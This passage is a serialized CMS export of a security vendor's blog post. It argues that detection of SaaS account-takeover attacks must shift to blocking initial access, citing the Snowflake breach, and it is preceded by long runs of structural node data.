ta":164717,"content":164718,"nodeType":1317},{},[164719],{"data":164720,"marks":164721,"value":162180,"nodeType":865},{},[],{"data":164723,"content":164724,"nodeType":866},{},[164725],{"data":164726,"marks":164727,"value":162187,"nodeType":865},{},[],{"data":164729,"content":164730,"nodeType":866},{},[164731,164734,164741,164744,164751,164754,164761,164764,164771,164774,164781,164784,164791,164794,164801],{"data":164732,"marks":164733,"value":162194,"nodeType":865},{},[],{"data":164735,"content":164736,"nodeType":889},{"uri":162197},[164737],{"data":164738,"marks":164739,"value":162203,"nodeType":865},{},[164740],{"type":943},{"data":164742,"marks":164743,"value":162207,"nodeType":865},{},[],{"data":164745,"content":164746,"nodeType":889},{"uri":162210},[164747],{"data":164748,"marks":164749,"value":162216,"nodeType":865},{},[164750],{"type":943},{"data":164752,"marks":164753,"value":162220,"nodeType":865},{},[],{"data":164755,"content":164756,"nodeType":889},{"uri":162223},[164757],{"data":164758,"marks":164759,"value":162229,"nodeType":865},{},[164760],{"type":943},{"data":164762,"marks":164763,"value":2717,"nodeType":865},{},[],{"data":164765,"content":164766,"nodeType":889},{"uri":162235},[164767],{"data":164768,"marks":164769,"value":162241,"nodeType":865},{},[164770],{"type":943},{"data":164772,"marks":164773,"value":2717,"nodeType":865},{},[],{"data":164775,"content":164776,"nodeType":889},{"uri":162247},[164777],{"data":164778,"marks":164779,"value":162253,"nodeType":865},{},[164780],{"type":943},{"data":164782,"marks":164783,"value":2717,"nodeType":865},{},[],{"data":164785,"content":164786,"nodeType":889},{"uri":162259},[164787],{"data":164788,"marks":164789,"value":162265,"nodeType":865},{},[164790],{"type":943},{"data":164792,"marks":164793,"value":3476,"nodeType":865},{},[],{"data":164795,"content":164796,"nodeType":889},{"uri":162271},[164797],{"data":164798,"marks":164799,"value":162277,"nodeType":865},{},[164800],{"type":943},{"data":164802,"marks":164803,"value":162281,"nodeType":865},{},[],{"data":164805,"content":164806,"nodeType":866},{},[164807],{"data":164808,"marks":164809,"value":162288,"nodeType":865},{},[],{"data":164811,"content":164812,"nodeType":866},{},[164813],{"data":164814,"marks":164815,"value":162295,"nodeType":865},{},[],{"data":164817,"content":164818,"nodeType":1616},{},[164819,164828,164837,164846,164855],{"data":164820,"content":164821,"nodeType":1570},{},[164822],{"data":164823,"content":164824,"nodeType":866},{},[164825],{"data":164826,"marks":164827,"value":162308,"nodeType":865},{},[],{"data":164829,"content":164830,"nodeType":1570},{},[164831],{"data":164832,"content":164833,"nodeType":866},{},[164834],{"data":164835,"marks":164836,"value":162318,"nodeType":865},{},[],{"data":164838,"content":164839,"nodeType":1570},{},[164840],{"data":164841,"content":164842,"nodeType":866},{},[164843],{"data":164844,"marks":164845,"value":162328,"nodeType":865},{},[],{"data":164847,"content":164848,"nodeType":1570},{},[164849],{"data":164850,"content":164851,"nodeType":866},{},[164852],{"data":164853,"marks":164854,"value":162338,"nodeType":865},{},[],{"data":164856,"content":164857,"nodeType":1570},{},[164858],{"data":164859,"content":164860,"nodeType":866},{},[164861],{"data":164862,"marks":164863,"value":162348,"nodeType":865},{},[],{"data":164865,"content":164866,"nodeType":866},{},[164867],{"data":164868,"marks":164869,"value":162355,"nodeType":865},{},[],{"data":164871,"content":164872,"nodeType":1616},{},[164873,164882],{"data":164874,"content":164875,"nodeType":1570},{},[164876],{"data":164877,"content":164878,"nodeType":866},{},[164879],{"data":164880,"marks":164881,"value":162368,"nodeType":865},{},[],{"data":164883,"content":164884,"nodeType":1570},{},[164885],{"data":164886,"content":164887,"nodeType":866},{},[164888],{"data":164889,"marks":164890,"value":162378,"nodeType":865},{},[],{"data":164892,"content":164893,"nodeType":866},{},[164894,164897,164904,164907,164914,164917,164924,164927,164934],{"data":164895,"marks":164896,"value":162385,"nodeType":865},{},[],{"data":164898,"content":164899,"nodeType":889},{"uri":162388},[164900],{"data":164901,"marks":164902,"value":162394,"nodeType":865},{},[164903],{"type":943},{"data":164905,"marks":164906,"value":2717,"nodeType":865},{},[],{"data":164908,"content":164909,"nodeType":889},{"uri":162400},[164910],{"data":164911,"marks":164912,"value":162406,"nodeType":865},{},[164913],{"type":943},{"data":164915,"marks":164916,"value":3476,"nodeType":865},{},[],{"data":164918,"content":164919,"nodeType":889},{"uri":162412},[164920],{"data":164921,"marks":164922,"value":162418,"nodeType":865},{},[164923],{"type":943},{"data":164925,"marks":164926,"value":162422,"nodeType":865},{},[],{"data":164928,"content":164929,"nodeType":889},{"uri":162425},[164930],{"data":164931,"marks":164932,"value":162431,"nodeType":865},{},[164933],{"type":943},{"data":164935,"marks":164936,"value":162435,"nodeType":865},{},[],{"data":164938,"content":164939,"nodeType":972},{},[],{"data":164941,"content":164942,"nodeType":981},{},[164943],{"data":164944,"marks":164945,"value":162445,"nodeType":865},{},[],{"data":164947,"content":164948,"nodeType":866},{},[164949,164952,164959],{"data":164950,"marks":164951,"value":162452,"nodeType":865},{},[],{"data":164953,"content":164954,"nodeType":889},{"uri":162065},[164955],{"data":164956,"marks":164957,"value":162460,"nodeType":865},{},[164958],{"type":943},{"data":164960,"marks":164961,"value":162464,"nodeType":865},{},[],{"data":164963,"content":164964,"nodeType":866},{},[164965,164968,164975],{"data":164966,"marks":164967,"value":162471,"nodeType":865},{},[],{"data":164969,"content":164970,"nodeType":889},{"uri":162474},[164971],{"data":164972,"marks":164973,"value":162480,"nodeType":865},{},[164974],{"type":943},{"data":164976,"marks":164977,"value":162484,"nodeType":865},{},[],{"data":164979,"content":164980,"nodeType":866},{},[164981],{"data":164982,"marks":164983,"value":162491,"nodeType":865},{},[],{"data":164985,"content":164986,"nodeType":866},{},[164987,164990,164997],{"data":164988,"marks":164989,"value":21,"nodeType":865},{},[],{"data":164991,"content":164992,"nodeType":889},{"uri":162500},[164993],{"data":164994,"marks":164995,"value":162506,"nodeType":865},{},[164996],{"type":943},{"data":164998,"marks":164999,"value":162510,"nodeType":865},{},[],{"data":165001,"content":165002,"nodeType":866},{},[165003],{"data":165004,"marks":165005,"value":162517,"nodeType":865},{},[],{"data":165007,"content":165008,"nodeType":866},{},[165009,165013],{"data":165010,"marks":165011,"value":162525,"nodeType":865},{},[165012],{"type":926},{"data":165014,"marks":165015,"value":162529,"nodeType":865},{},[],{"data":165017,"content":165018,"nodeType":972},{},[],{"data":165020,"content":165021,"nodeType":981},{},[165022],{"data":165023,"marks":165024,"value":162539,"nodeType":865},{},[],{"data":165026,"content":165027,"nodeType":866},{},[165028],{"data":165029,"marks":165030,"value":162546,"nodeType":865},{},[],{"data":165032,"content":165033,"nodeType":1616},{},[165034,165047,165060],{"data":165035,"content":165036,"nodeType":1570},{},[165037],{"data":165038,"content":165039,"nodeType":866},{},[165040,165044],{"data":165041,"marks":165042,"value":162560,"nodeType":865},{},[165043],{"type":926},{"data":165045,"marks":165046,"value":162564,"nodeType":865},{},[],{"data":165048,"content":165049,"nodeType":1570},{},[165050],{"data":165051,"content":165052,"nodeType":866},{},[165053,165057],{"data":165054,"marks":165055,"value":162575,"nodeType":865},{},[165056],{"type":926},{"data":165058,"marks":165059,"value":162579,"nodeType":865},{},[],{"data":165061,"content":165062,"nodeType":1570},{},[165063],{"data":165064,"content":165065,"nodeType":866},{},[165066,165070],{"data":165067,"marks":165068,"value":162590,"nodeType":865},{},[165069],{"type":926},{"data":165071,"marks":165072,"value":162594,"nodeType":865},{},[],{"data":165074,"content":165075,"nodeType":866},{},[165076],{"data":165077,"marks":165078,"value":162601,"nodeType":865},{},[],{"data":165080,"content":165081,"nodeType":866},{},[165082],{"data":165083,"marks":165084,"value":162608,"nodeType":865},{},[],{"data":165086,"content":165087,"nodeType":866},{},[165088,165091,165098],{"data":165089,"marks":165090,"value":162615,"nodeType":865},{},[],{"data":165092,"content":165093,"nodeType":889},{"uri":6710},[165094],{"data":165095,"marks":165096,"value":6715,"nodeType":865},{},[165097],{"type":943},{"data":165099,"marks":165100,"value":162626,"nodeType":865},{},[],{"data":165102,"content":165103,"nodeType":972},{},[],{"data":165105,"content":165106,"nodeType":981},{},[165107],{"data":165108,"marks":165109,"value":162636,"nodeType":865},{},[],{"data":165111,"content":165112,"nodeType":866},{},[165113],{"data":165114,"marks":165115,"value":162643,"nodeType":865},{},[],{"data":165117,"content":165118,"nodeType":1317},{},[165119],{"data":165120,"marks":165121,"value":162650,"nodeType":865},{},[],{"data":165123,"content":165124,"nodeType":866},{},[165125,165128,165135],{"data":165126,"marks":165127,"value":162657,"nodeType":865},{},[],{"data":165129,"content":165130,"nodeType":889},{"uri":162660},[165131],{"data":165132,"marks":165133,"value":162666,"nodeType":865},{},[165134],{"type":943},{"data":165136,"marks":165137,"value":1615,"nodeType":865},{},[],{"data":165139,"content":165140,"nodeType":866},{},[165141],{"data":165142,"marks":165143,"value":162676,"nodeType":865},{},[],{"data":165145,"content":165146,"nodeType":1317},{},[165147],{"data":165148,"marks":165149,"value":162683,"nodeType":865},{},[],{"data":165151,"content":165152,"nodeType":866},{},[165153],{"data":165154,"marks":165155,"value":162690,"nodeType":865},{},[],{"data":165157,"content":165158,"nodeType":866},{},[165159,165162,165169],{"data":165160,"marks":165161,"value":162697,"nodeType":865},{},[],{"data":165163,"content":165164,"nodeType":889},{"uri":62047},[165165],{"data":165166,"marks":165167,"value":62053,"nodeType":865},{},[165168],{"type":943},{"data":165170,"marks":165171,"value":162708,"nodeType":865},{},[],{"data":165173,"content":165174,"nodeType":1317},{},[165175],{"data":165176,"marks":165177,"value":162715,"nodeType":865},{},[],{"data":165179,"content":165180,"nodeType":866},{},[165181],{"data":165182,"marks":165183,"value":162722,"nodeType":865},{},[],{"data":165185,"content":165186,"nodeType":866},{},[165187],{"data":165188,"marks":165189,"value":162729,"nodeType":865},{},[],{"data":165191,"content":165192,"nodeType":866},{},[165193],{"data":165194,"marks":165195,"value":162736,"nodeType":865},{},[],{"data":165197,"content":165198,"nodeType":866},{},[165199,165202,165209],{"data":165200,"marks":165201,"value":162743,"nodeType":865},{},[],{"data":165203,"content":165204,"nodeType":889},{"uri":162746},[165205],{"data":165206,"marks":165207,"value":162752,"nodeType":865},{},[165208],{"type":943},{"data":165210,"marks":165211,"value":14251,"nodeType":865},{},[],{"data":165213,"content":165214,"nodeType":1317},{},[165215],{"data":165216,"marks":165217,"value":162762,"nodeType":865},{},[],{"data":165219,"content":165220,"nodeType":866},{},[165221],{"data":165222,"marks":165223,"value":162769,"nodeType":865},{},[],{"data":165225,"content":165226,"nodeType":866},{},[165227],{"data":165228,"marks":165229,"value":162776,"nodeType":865},{},[],{"data":165231,"content":165232,"nodeType":866},{},[165233],{"data":165234,"marks":165235,"value":162783,"nodeType":865},{},[],{"data":165237,"content":165238,"nodeType":866},{},[165239,165242,165249,165252,165258],{"data":165240,"marks":165241,"value":162790,"nodeType":865},{},[],{"data":165243,"content":165244,"nodeType":889},{"uri":147580},[165245],{"data":165246,"marks":165247,"value":162798,"nodeType":865},{},[165248],{"type":943},{"data":165250,"marks":165251,"value":162802,"nodeType":865},{},[],{"data":165253,"content":165254,"nodeType":889},{"uri":54386},[165255],{"data":165256,"marks":165257,"value":131771,"nodeType":865},{},[],{"data":165259,"marks":165260,"value":162812,"nodeType":865},{},[],{"data":165262,"content":165265,"nodeType":912},{"target":165263},{"sys":165264},{"id":162817,"type":909,"linkType":910},[],{"data":165267,"content":165268,"nodeType":972},{},[],{"data":165270,"content":165271,"nodeType":981},{},[165272],{"data":165273,"marks":165274,"value":162828,"nodeType":865},{},[],{"data":165276,"content":165277,"nodeType":866},{},[165278],{"data":165279,"marks":165280,"value":162835,"nodeType":865},{},[],{"data":165282,"content":165285,"nodeType":912},{"target":165283},{"sys":165284},{"id":162840,"type":909,"linkType":910},[],{"data":165287,"content":165288,"nodeType":981},{},[165289],{"data":165290,"marks":165291,"value":162848,"nodeType":865},{},[],{"data":165293,"content":165294,"nodeType":866},{},[165295],{"data":165296,"marks":165297,"value":162855,"nodeType":865},{},[],{"data":165299,"content":165300,"nodeType":1616},{},[165301,165310],{"data":165302,"content":165303,"nodeType":1570},{},[165304],{"data":165305,"content":165306,"nodeType":866},{},[165307],{"data":165308,"marks":165309,"value":162868,"nodeType":865},{},[],{"data":165311,"content":165312,"nodeType":1570},{},[165313],{"data":165314,"content":165315,"nodeType":866},{},[165316],{"data":165317,"marks":165318,"value":162878,"nodeType":865},{},[],{"data":165320,"content":165321,"nodeType":866},{},[165322],{"data":165323,"marks":165324,"value":162885,"nodeType":865},{},[],{"data":165326,"content":165327,"nodeType":866},{},[165328],{"data":165329,"marks":165330,"value":162892,"nodeType":865},{},[],{"data":165332,"content":165333,"nodeType":1616},{},[165334,165343,165352,165361],{"data":165335,"content":165336,"nodeType":1570},{},[165337],{"data":165338,"content":165339,"nodeType":866},{},[165340],{"data":165341,"marks":165342,"value":162905,"nodeType":865},{},[],{"data":165344,"content":165345,"nodeType":1570},{},[165346],{"data":165347,"content":165348,"nodeType":866},{},[165349],{"data":165350,"marks":165351,"value":162915,"nodeType":865},{},[],{"data":165353,"content":165354,"nodeType":1570},{},[165355],{"data":165356,"content":165357,"nodeType":866},{},[165358],{"data":165359,"marks":165360,"value":162925,"nodeType":865},{},[],{"data":165362,"content":165363,"nodeType":1570},{},[165364],{"data":165365,"content":165366,"nodeType":866},{},[165367],{"data":165368,"marks":165369,"value":162935,"nodeType":865},{},[],{"data":165371,"content":165372,"nodeType":866},{},[165373,165376,165380],{"data":165374,"marks":165375,"value":162942,"nodeType":865},{},[],{"data":165377,"marks":165378,"value":162947,"nodeType":865},{},[165379],{"type":926},{"data":165381,"marks":165382,"value":162951,"nodeType":865},{},[],{"data":165384,"content":165385,"nodeType":866},{},[165386,165389,165396],{"data":165387,"marks":165388,"value":162958,"nodeType":865},{},[],{"data":165390,"content":165391,"nodeType":889},{"uri":62386},[165392],{"data":165393,"marks":165394,"value":162966,"nodeType":865},{},[165395],{"type":943},{"data":165397,"marks":165398,"value":162970,"nodeType":865},{},[],{"data":165400,"content":165403,"nodeType":912},{"target":165401},{"sys":165402},{"id":162975,"type":909,"linkType":910},[],{"data":165405,"content":165406,"nodeType":1317},{},[165407],{"data":165408,"marks":165409,"value":162983,"nodeType":865},{},[],{"data":165411,"content":165412,"nodeType":866},{},[165413],{"data":165414,"marks":165415,"value":162990,"nodeType":865},{},[],{"data":165417,"content":165418,"nodeType":866},{},[165419],{"data":165420,"marks":165421,"value":162997,"nodeType":865},{},[],{"data":165423,"content":165424,"nodeType":866},{},[165425,165428,165435,165438,165445],{"data":165426,"marks":165427,"value":163004,"nodeType":865},{},[],{"data":165429,"content":165430,"nodeType":889},{"uri":163007},[165431],{"data":165432,"marks":165433,"value":163013,"nodeType":865},{},[165434],{"type":943},{"data":165436,"marks":165437,"value":163017,"nodeType":865},{},[],{"data":165439,"content":165440,"nodeType":889},{"uri":163007},[165441],{"data":165442,"marks":165443,"value":163025,"nodeType":865},{},[165444],{"type":943},{"data":165446,"marks":165447,"value":163029,"nodeType":865},{},[],{"data":165449,"content":165450,"nodeType":866},{},[165451,165454,165461,165464,165471,165474,165481],{"data":165452,"marks":165453,"value":163036,"nodeType":865},{},[],{"data":165455,"content":165456,"nodeType":889},{"uri":163039},[165457],{"data":165458,"marks":165459,"value":163045,"nodeType":865},{},[165460],{"type":943},{"data":165462,"marks":165463,"value":11397,"nodeType":865},{},[],{"data":165465,"content":165466,"nodeType":889},{"uri":163051},[165467],{"data":165468,"marks":165469,"value":163057,"nodeType":865},{},[165470],{"type":943},{"data":165472,"marks":165473,"value":163061,"nodeType":865},{},[],{"data":165475,"content":165476,"nodeType":889},{"uri":163064},[165477],{"data":165478,"marks":165479,"value":163070,"nodeType":865},{},[165480],{"type":943},{"data":165482,"marks":165483,"value":163074,"nodeType":865},{},[],{"data":165485,"content":165486,"nodeType":866},{},[165487],{"data":165488,"marks":165489,"value":163081,"nodeType":865},{},[],{"data":165491,"content":165494,"nodeType":912},{"target":165492},{"sys":165493},{"id":163086,"type":909,"linkType":910},[],{"data":165496,"content":165497,"nodeType":866},{},[165498],{"data":165499,"marks":165500,"value":21,"nodeType":865},{},[],{"items":165502},[165503,165505],{"sys":165504,"name":7796},{"id":7795},{"sys":165506,"name":342},{"id":4642},{"items":165508},[165509],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":165510},{"url":7804},{"__typename":1429,"sys":165512,"content":165514,"title":166333,"synopsis":166334,"hashTags":59,"publishedDate":166335,"slug":166336,"tagsCollection":166337,"authorsCollection":166343},{"id":165513},"4Bc6qX9kURetHcK7nkS8on",{"json":165515},{"data":165516,"content":165517,"nodeType":1382},{},[165518,165525,165532,165539,165545,165553,165560,165566,165573,165579,165586,165594,165601,165606,165613,165644,165651,165658,165691,165699,165706,165714,165722,165729,165736,165755,165762,165769,165776,165784,165791,165798,165831,165838,165891,165898,165905,165913,165920,165927,165934,165942,165949,165972,165979,166027,166034,166040,166047,166090,166097,166105,166112,166119,166150,166158,166165,166171,166178,166184,166191,166197,166204,166287,166294,166301,166308,166326],{"data":165519,"content":165520,"nodeType":866},{},[165521],{"data":165522,"marks":165523,"value":165524,"nodeType":865},{},[],"As an industry, we’ve been conditioned to think about threat detection and response as something that happens post-compromise. Best practice has formed around resources like the Cyber Kill Chain and the MITRE ATT&CK Framework which focus on detecting indicators of an attacker presence on your network, and their behaviors and actions as they move through it.",{"data":165526,"content":165527,"nodeType":866},{},[165528],{"data":165529,"marks":165530,"value":165531,"nodeType":865},{},[],"But with the shift to identity attacks, where attackers look to take over accounts on internet-facing apps and services, relying on an assumed compromise approach to detection is becoming less reliable. The most significant breaches of the last 12-18 months have been the result of browser-based attacks where an attacker has taken over an account, exfiltrated data… and that’s it. ",{"data":165533,"content":165534,"nodeType":866},{},[165535],{"data":165536,"marks":165537,"value":165538,"nodeType":865},{},[],"This change means that the typical methods of post-compromise detection and response become much less viable. So, we’re going to talk a bit about what’s changed, why controls are failing, and what we’re doing here at Push to address the detection gaps. ",{"data":165540,"content":165544,"nodeType":912},{"target":165541},{"sys":165542},{"id":165543,"type":909,"linkType":910},"4179AY8ZEIJ3Ce9jszn4fA",[],{"data":165546,"content":165547,"nodeType":981},{},[165548],{"data":165549,"marks":165550,"value":165552,"nodeType":865},{},[165551],{"type":926},"The good old days",{"data":165554,"content":165555,"nodeType":866},{},[165556],{"data":165557,"marks":165558,"value":165559,"nodeType":865},{},[],"Over the previous decade the typical attack paths, and the controls that have formed around it, have become very familiar to SecOps teams. ",{"data":165561,"content":165565,"nodeType":912},{"target":165562},{"sys":165563},{"id":165564,"type":909,"linkType":910},"4AOzwBGuNkXXogyqy46ki5",[],{"data":165567,"content":165568,"nodeType":866},{},[165569],{"data":165570,"marks":165571,"value":165572,"nodeType":865},{},[],"Even with the more recent transition to enterprise cloud and hybrid networking, the broad offensive logic of “land and expand” remains. This has seen the typical view of a network-based attack path simply expand to add first enterprise cloud, and then SaaS to the picture. ",{"data":165574,"content":165578,"nodeType":912},{"target":165575},{"sys":165576},{"id":165577,"type":909,"linkType":910},"2J3s38YOVcMuJuTdryhERA",[],{"data":165580,"content":165581,"nodeType":866},{},[165582],{"data":165583,"marks":165584,"value":165585,"nodeType":865},{},[],"And while this sort of attack path is theoretically possible, what happens in reality looks quite different. ",{"data":165587,"content":165588,"nodeType":981},{},[165589],{"data":165590,"marks":165591,"value":165593,"nodeType":865},{},[165592],{"type":926},"The new world",{"data":165595,"content":165596,"nodeType":866},{},[165597],{"data":165598,"marks":165599,"value":165600,"nodeType":865},{},[],"Instead of needing to progress through the network, moving laterally, elevating privileges, etc. modern account takeover tends to take a much more direct approach. ",{"data":165602,"content":165605,"nodeType":912},{"target":165603},{"sys":165604},{"id":136211,"type":909,"linkType":910},[],{"data":165607,"content":165608,"nodeType":866},{},[165609],{"data":165610,"marks":165611,"value":165612,"nodeType":865},{},[],"It’s a common misconception that SaaS compromise typically comes after the traditional attack chain (a myth largely promoted by old-school consultancy providers, MSSPs, and managed SOC providers). There’s no need for an attacker looking to take over a SaaS account to target the network first – and many organizations today simply no longer have a network in the conventional sense.  ",{"data":165614,"content":165615,"nodeType":866},{},[165616,165620,165628,165632,165641],{"data":165617,"marks":165618,"value":165619,"nodeType":865},{},[],"This isn’t to say that there aren’t examples of longer SaaS compromises involving lateral movement from SaaS to SaaS, or SaaS to cloud (",{"data":165621,"content":165622,"nodeType":889},{"uri":13171},[165623],{"data":165624,"marks":165625,"value":165627,"nodeType":865},{},[165626],{"type":943},"we created a whole attack matrix demonstrating the art of the possible here",{"data":165629,"marks":165630,"value":165631,"nodeType":865},{},[],"). Equally, there are examples of very short and direct attacks in enterprise cloud environments leading to ransomware deployment (for example, ",{"data":165633,"content":165635,"nodeType":889},{"uri":165634},"https://www.bleepingcomputer.com/news/security/mgm-casinos-esxi-servers-allegedly-encrypted-in-ransomware-attack/",[165636],{"data":165637,"marks":165638,"value":165640,"nodeType":865},{},[165639],{"type":943},"Scattered Spider turning an initial account takeover in Okta into a full-scale VMware ESXi ransomware compromise",{"data":165642,"marks":165643,"value":40358,"nodeType":865},{},[],{"data":165645,"content":165646,"nodeType":866},{},[165647],{"data":165648,"marks":165649,"value":165650,"nodeType":865},{},[],"But statistically, the average network or enterprise cloud attack involves much more complex lateral movement, privilege escalation, and defense evasion than the average SaaS attack path. ",{"data":165652,"content":165653,"nodeType":866},{},[165654],{"data":165655,"marks":165656,"value":165657,"nodeType":865},{},[],"The Snowflake attack path is a useful case study here: ",{"data":165659,"content":165660,"nodeType":1616},{},[165661,165671,165681],{"data":165662,"content":165663,"nodeType":1570},{},[165664],{"data":165665,"content":165666,"nodeType":866},{},[165667],{"data":165668,"marks":165669,"value":165670,"nodeType":865},{},[],"Attackers logged into the Snowflake tenant of ~165 organizations using stolen credentials to access user accounts via the web-based ‘SnowSight’ portal. ",{"data":165672,"content":165673,"nodeType":1570},{},[165674],{"data":165675,"content":165676,"nodeType":866},{},[165677],{"data":165678,"marks":165679,"value":165680,"nodeType":865},{},[],"To take advantage of the many exposed accounts, the attacker created a utility performing account takeover and recon at-scale. ",{"data":165682,"content":165683,"nodeType":1570},{},[165684],{"data":165685,"content":165686,"nodeType":866},{},[165687],{"data":165688,"marks":165689,"value":165690,"nodeType":865},{},[],"The attack finished with the attacker executing the same set of SQL commands across customer instances to stage and exfiltrate data. ",{"data":165692,"content":165693,"nodeType":866},{},[165694],{"data":165695,"marks":165696,"value":165698,"nodeType":865},{},[165697],{"type":926},"And that’s it. ",{"data":165700,"content":165701,"nodeType":866},{},[165702],{"data":165703,"marks":165704,"value":165705,"nodeType":865},{},[],"Since these attacks happen in-app, to be able to detect and intercept them you’d need deep app-level telemetry, and probably the ability to automate any containment and response activities. But unfortunately…",{"data":165707,"content":165708,"nodeType":981},{},[165709],{"data":165710,"marks":165711,"value":165713,"nodeType":865},{},[165712],{"type":926},"Detecting and responding after account takeover is really, really difficult",{"data":165715,"content":165716,"nodeType":1317},{},[165717],{"data":165718,"marks":165719,"value":165721,"nodeType":865},{},[165720],{"type":926},"Limited log data ",{"data":165723,"content":165724,"nodeType":866},{},[165725],{"data":165726,"marks":165727,"value":165728,"nodeType":865},{},[],"The first challenge is that in-app malicious activity is mostly indistinguishable from legitimate user behavior. Even mass data exfiltration might appear legitimate depending on what the app is used for!",{"data":165730,"content":165731,"nodeType":866},{},[165732],{"data":165733,"marks":165734,"value":165735,"nodeType":865},{},[],"To meaningfully detect malicious activity in-app, for starters you would need visibility of user behavior and actions. Unfortunately, you don’t have this. ",{"data":165737,"content":165738,"nodeType":866},{},[165739,165743,165751],{"data":165740,"marks":165741,"value":165742,"nodeType":865},{},[],"We’ve previously discussed in detail why ",{"data":165744,"content":165745,"nodeType":889},{"uri":110403},[165746],{"data":165747,"marks":165748,"value":165750,"nodeType":865},{},[165749],{"type":943},"log sources like network (web proxy), IdP, and app logs fall short",{"data":165752,"marks":165753,"value":165754,"nodeType":865},{},[]," when it comes to identity attacks, but the TL;DR is that most applications provide extremely limited security logging (if they provide it at all). ",{"data":165756,"content":165757,"nodeType":866},{},[165758],{"data":165759,"marks":165760,"value":165761,"nodeType":865},{},[],"When logs are available, you’re limited to the events that the third-party deems suitable to log. Out of the 100 most popular apps we see across our customers, and perhaps the few dozen or so that are security critical, only a small handful provide any useful logging. So extremely risky actions, like cloning a private GitHub repo, or downloading SharePoint files via ‘open in app’ or file syncing, don’t generate any logs at all. ",{"data":165763,"content":165764,"nodeType":866},{},[165765],{"data":165766,"marks":165767,"value":165768,"nodeType":865},{},[],"Further, the lack of out-of-the-box connectors for many apps means that complex custom architectures are often required for ingestion.",{"data":165770,"content":165771,"nodeType":866},{},[165772],{"data":165773,"marks":165774,"value":165775,"nodeType":865},{},[],"So, even if logs are available and you’re able to ingest them into your SIEM, there’s no guarantee that the telemetry available will contribute to any meaningful detection of malicious activity. ",{"data":165777,"content":165778,"nodeType":1317},{},[165779],{"data":165780,"marks":165781,"value":165783,"nodeType":865},{},[165782],{"type":926},"Limited response capabilities",{"data":165785,"content":165786,"nodeType":866},{},[165787],{"data":165788,"marks":165789,"value":165790,"nodeType":865},{},[],"By some miracle, you’ve detected an account takeover. Now what?",{"data":165792,"content":165793,"nodeType":866},{},[165794],{"data":165795,"marks":165796,"value":165797,"nodeType":865},{},[],"The ability to respond to an attack is dictated by the controls that are available to the security team. Unfortunately:",{"data":165799,"content":165800,"nodeType":1616},{},[165801,165811,165821],{"data":165802,"content":165803,"nodeType":1570},{},[165804],{"data":165805,"content":165806,"nodeType":866},{},[165807],{"data":165808,"marks":165809,"value":165810,"nodeType":865},{},[],"Depending on the app and how it was adopted, there’s no guarantee that you have admin rights. ",{"data":165812,"content":165813,"nodeType":1570},{},[165814],{"data":165815,"content":165816,"nodeType":866},{},[165817],{"data":165818,"marks":165819,"value":165820,"nodeType":865},{},[],"It’s not guaranteed that admins will have the required security features available to them, like forcing a logout on a session or disabling an account (you may not even know who the users and admins are within your organization, particularly if it was self-adopted by a specific team). ",{"data":165822,"content":165823,"nodeType":1570},{},[165824],{"data":165825,"content":165826,"nodeType":866},{},[165827],{"data":165828,"marks":165829,"value":165830,"nodeType":865},{},[],"Response probably requires that you log into the app and perform these actions in the admin interface (rather than being something you can orchestrate via SIEM workflow or API).",{"data":165832,"content":165833,"nodeType":866},{},[165834],{"data":165835,"marks":165836,"value":165837,"nodeType":865},{},[],"So at the point that the SecOps team is engaged, the team needs to be able to respond by eradicating the attacker’s access and closing the vulnerabilities exploited to prevent re-entry. To do this, the team needs to be able to identify, for example:",{"data":165839,"content":165840,"nodeType":1616},{},[165841,165851,165861,165871,165881],{"data":165842,"content":165843,"nodeType":1570},{},[165844],{"data":165845,"content":165846,"nodeType":866},{},[165847],{"data":165848,"marks":165849,"value":165850,"nodeType":865},{},[],"How the attacker gained access to the account",{"data":165852,"content":165853,"nodeType":1570},{},[165854],{"data":165855,"content":165856,"nodeType":866},{},[165857],{"data":165858,"marks":165859,"value":165860,"nodeType":865},{},[],"What the attacker did using the compromised account",{"data":165862,"content":165863,"nodeType":1570},{},[165864],{"data":165865,"content":165866,"nodeType":866},{},[165867],{"data":165868,"marks":165869,"value":165870,"nodeType":865},{},[],"Whether any alternative access methods were established (e.g. backup emails, API keys, or OAuth integrations)",{"data":165872,"content":165873,"nodeType":1570},{},[165874],{"data":165875,"content":165876,"nodeType":866},{},[165877],{"data":165878,"marks":165879,"value":165880,"nodeType":865},{},[],"Where the attacker could have laterally moved to using the account (based on the integrations and permissions of the identity)",{"data":165882,"content":165883,"nodeType":1570},{},[165884],{"data":165885,"content":165886,"nodeType":866},{},[165887],{"data":165888,"marks":165889,"value":165890,"nodeType":865},{},[],"Other accounts the attacker could also access using the same credentials",{"data":165892,"content":165893,"nodeType":866},{},[165894],{"data":165895,"marks":165896,"value":165897,"nodeType":865},{},[],"Given the limited tools available and the probable lack of app-specific knowledge (you can’t be an expert in every app!), by the time you’ve managed to respond, the attacker has probably already sailed off into the sunset with all of the data they can lay their hands on. ",{"data":165899,"content":165900,"nodeType":866},{},[165901],{"data":165902,"marks":165903,"value":165904,"nodeType":865},{},[],"Clearly, post-compromise detection and response isn’t really a viable option – you’re basically entering full response and recovery mode at this point. ",{"data":165906,"content":165907,"nodeType":981},{},[165908],{"data":165909,"marks":165910,"value":165912,"nodeType":865},{},[165911],{"type":926},"Shifting detection left",{"data":165914,"content":165915,"nodeType":866},{},[165916],{"data":165917,"marks":165918,"value":165919,"nodeType":865},{},[],"If you can’t reasonably detect and respond to post-compromise activity, it makes detecting and blocking initial access much more important. ",{"data":165921,"content":165922,"nodeType":866},{},[165923],{"data":165924,"marks":165925,"value":165926,"nodeType":865},{},[],"Again, it seems obvious, but it’s yet another notion that’s fallen under the radar – despite the trendiness of ‘shifting left’ in other areas like software development and vulnerability management. Partly because as we’ve discussed, post-compromise detection and response has been the norm for so long. But also because we’ve accepted the status quo of the (somewhat disappointing) preventative controls that are available. ",{"data":165928,"content":165929,"nodeType":866},{},[165930],{"data":165931,"marks":165932,"value":165933,"nodeType":865},{},[],"First, let’s isolate the techniques and steps that attackers typically rely on for account takeover. ",{"data":165935,"content":165936,"nodeType":1317},{},[165937],{"data":165938,"marks":165939,"value":165941,"nodeType":865},{},[165940],{"type":926},"Methods of account takeover",{"data":165943,"content":165944,"nodeType":866},{},[165945],{"data":165946,"marks":165947,"value":165948,"nodeType":865},{},[],"To be able to hijack an account, an attacker needs to possess one of two things:",{"data":165950,"content":165951,"nodeType":1616},{},[165952,165962],{"data":165953,"content":165954,"nodeType":1570},{},[165955],{"data":165956,"content":165957,"nodeType":866},{},[165958],{"data":165959,"marks":165960,"value":165961,"nodeType":865},{},[],"Authentication material e.g. a username and password, with a login portal 